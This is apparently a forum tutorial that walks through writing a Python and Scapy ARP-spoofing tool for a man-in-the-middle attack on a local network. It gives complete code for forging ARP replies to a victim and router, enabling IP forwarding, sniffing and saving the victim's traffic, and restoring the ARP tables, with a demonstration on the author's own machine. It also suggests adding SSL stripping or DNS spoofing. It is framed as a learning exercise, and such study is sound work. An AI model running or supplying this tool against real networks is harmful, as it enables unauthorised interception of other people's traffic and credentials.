Today well be learning how to do a simple ARP Spoof or ARP Poison in python.
Today well be using it for a basic Man in the Middle attack.
So lets get started with some quick background info.
- What is this ARP you speak of? Is it like LARP’ing?
For starters… No. No it is not.
Heres an example from wikipedia:
For example, picture the computers Matterhorn and Washington in an office, connected to each other on the office local area network by Ethernet cables and network switches, with no intervening gateways or routers. Matterhorn has a packet to send to Washington. Through DNS, it determines that Washington has an IP address of 192.168.0.55. In order to send the message, it also needs to know Washington’s MAC address. First, Matterhorn uses a cached ARP table to look up 192.168.0.55 for any existing records of Washington’s MAC address (00:eb:24:b2:05:ac). If the MAC address is found, it sends the IP packet encapsulated in a level 2 frame on the link layer to address 00:eb:24:b2:05:ac via the local network cabling. If the cache did not produce a result for 192.168.0.55, Matterhorn has to send a broadcast ARP message (destination FF:FF:FF:FF:FF:FF MAC address, which is accepted by all computers) requesting an answer for 192.168.0.55. Washington responds with its MAC address (and its IP). (Washington may insert an entry for Matterhorn into its own ARP table for future use.) Matterhorn caches the response information in its own ARP table and can now send the packet.
ARP runs on request and reply, so one machine sends out a broadcast request with its information asking for an address, and machine two sees that request and says “OH THATS ME” and replies with its information so the two computers can communicate.
You can read into the nitty gritty in the ARP RFC 826 if you really want to know everything there is to know.
However, this should be enough for our purpose in this article.
2 . Okay, so what does this mean for us?
Well, ARP doesnt have authentication for replies, so that means for us, we can ARP spoof or pretend to be another machine so we can catch then forward all packets destined for it.
So, our machine 192.168.1.46 sees a request from 192.168.1.23 asking for the address 192.168.1.1(the router in this case). What we can do is reply to that request, saying “Hey , thats me” so packets addressed to the router come through us and we send them on their merry way after inspecting them. Now, this requires both ends, so we have to reply to 192.168.1.23 and tell it that were the router, but we also have to tell the router, that were 192.168.1.23.
Were essentially acting as a proxy for both systems, however unauthorized.
Now, for this to work, you need both the IP and the MAC of the systems you are going to place yourself in between.
3 . Okay, I think im picking up what your putting down. Now you said wed do ARP spoofing?
Alright, onto the fun part. Well be using Python and Scapy (very powerful library I suggest you make friends with it) to write a quick and dirty ARP spoofer. This wont be useful for too much straight out of the gate. In this intro, all youll do is save the packets to a pcap for later use, and see the packets go by as Source, Raw Load, Destination. Nothing Special.
So we know we need the IP and MAC of our victims right?
Lets start taking some input from the user, then well use it to grab a little info.
Well do some imports, and ask for the interface well be sending packets on, the victim, and the router.
import os import sys from scapy.all import* interface = raw_input("interface: \n") victimIP = raw_input("victim: \n") routerIP=raw_input("router: \n")
Weve imported a few modules.
We import os because we need to access /proc/ on the system, so we can do IP Forwarding and route packets from the victim to the router.
We import sys so we can do a shutdown in some try and except loops.
Finally we import scapy, which is the real powerhouse of the situation. It allows us to send/recieve/craft packets, I HIGHLY recommend you spend some time reading about it.
okay, moving on.
Now well try to get the MAC of our victim IP
def MACsnag(IP): ans, unans = arping(IP) for s, r in ans: return r[Ether].src
we define a function called
MACsnag(), which takes an IP address.
the arping function takes an ip address(or Network) and returns a list of IP/MACs, the
ans, unans well think of as answered and unanswered packets.
the for loop takes the send and recieve of the answered packets, which on the next like returns the
src of the
[Ether] layer or the mac address.
If you dont know about packet layers, I suggest doing some reading, as it would take a bit of writing and would push the length of this post.
So now we have a function that will get our info down the road. Lets keep building.
Onto the spoofing.
def Spoof(routerIP, victimIP): victimMAC = MACsnag(victimIP) routerMAC = MACsnag(routerIP) send(ARP(op =2, pdst = victimIP, psrc = routerIP, hwdst = victimMAC)) send(ARP(op = 2, pdst = routerIP, psrc = victimIP, hwdst = routerMAC))
We first define a function called
spoof() which takes two arguments, the victim and router MACs.
We then call our
MACsnag() function to get the MAC addresses we need.
The next two lines are pretty simple, they call scapys
send() function, saying to send an ARP packet.
op part is the opcode, saying that is a reply, if it were 1 it would be a request.
So were telling the victim that this packet came from the router, and were telling the router that this packet came from the victim. Which from then on the victim will send to us for the router, the router will send to us for the victim, effectively putting us in the middle.
Now, this is all good and well, however, if we dont reupdate the routing tables when were done, the victim and router will continue to try to send packets through us. No bueno, that means no connection for them.
So, well write a function to restore the victim and router.
def Restore(routerIP, victimIP): victimMAC = MACsnag(victimIP) routerMAC = MACsnag(routerIP) send(ARP(op = 2, pdst = routerIP, psrc = victimIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc= victimMAC), count = 4) send(ARP(op = 2, pdst = victimIP, psrc = routerIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = routerMAC), count = 4)
So, we define the
Restore() function. this is basically the inverse of the spoof function with a slight difference. so we send ARP replies to each host.
However, youll notice the
hwdst = "ff:ff:ff:ff:ff:ff", ff:ff:ff:ff:ff:ff is simply put, the everyone address, so this broadcasts the packet asking for the information of the machine at the requested IP, so in this case, the router would respond with its information and BAM now theyre back to talking to each other correctly.
Alright, so we can get MACs, spoof and restore. Now what?
Were going to write a quick function to watch the packets go by and save them to a file
def sniffer(): pkts = sniff(iface = interface, count = 10, prn=lambda x:x.sprintf(" Source: %IP.src% : %Ether.src%, \n %Raw.load% \n\n Reciever: %IP.dst% \n +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n")) wrpcap("temp.pcap", pkts)
We made a function
We then call scapys
sniff() function on the interface we specified earlier, for a count of 10 packets.
at the end of the sniff function youll notice
prn= is adding a custom action, you could pass this a seperate function you wrote if you wish, in this case we used a lambda to print out the packets source IP and MAC, followed by the packets raw load if there is one, ending with the packets destination IP.
Next we call
wrpcap() to write all the packets we sniff to a .pcap file for later inspection
Alright, were almost there. Lets make it run!
def MiddleMan(): os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") while 1: try: spoof(routerIP, victimIP) time.sleep(1) sniffer() except KeyboardInterrupt: Restore(routerIP, victimIP) os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") sys.exit(1) if __name__ == "__main__": MiddleMan()
Okay, so first
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") makes a call to turn on IP forwarding , hence the 1.
Then, we say
while 1 or as long as were running, to try to run spoof and sniff, then sleep for one second and this continues, unless the user hits
ctrl + C. In which case we Restore the targets, then we call
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") to turn off IP forwarding, hence the 0.
Then the it shuts down the program with
sys.exit(0) or a clean exit with no errors, since we requested the shutdown.
Heres my linux attack box
ifconfig and im at
Above you can see im using interface
wlan0 and my victim is my windows machine at
192.168.0.195 using the router
You can see my windows machine is browsing rainierland.com amongst some other details.
Screen cap from the
temp.pcap file we wrote, showing the packet we saw in the live view screenshot above.
4 . Final Notes/Dislaimer
This tool is not perfect, its quick, and dirty, and quite frankly leaves much to be desired. Its posted here merely as a learning excercise to give a base for readers to play with and use to learn/expand.
Common errors I experienced were the victim machines failure to connect to webpages, or lag in connecting to webpages, which would be very obvious to the victim in any attack scenario.
Also, this wont do much of anything for HTTPS sites.
Case and point, learn from it, expand, build, and post back with any cool steps you take, maybe you create a MitM that can strip SSL, or do some DNS spoofing after your ARP poison.
Questions, comments, criticism all welcome.
Sorry for my absence, I believed i promised a few members some posts, ive been quite busy with a promotion at work.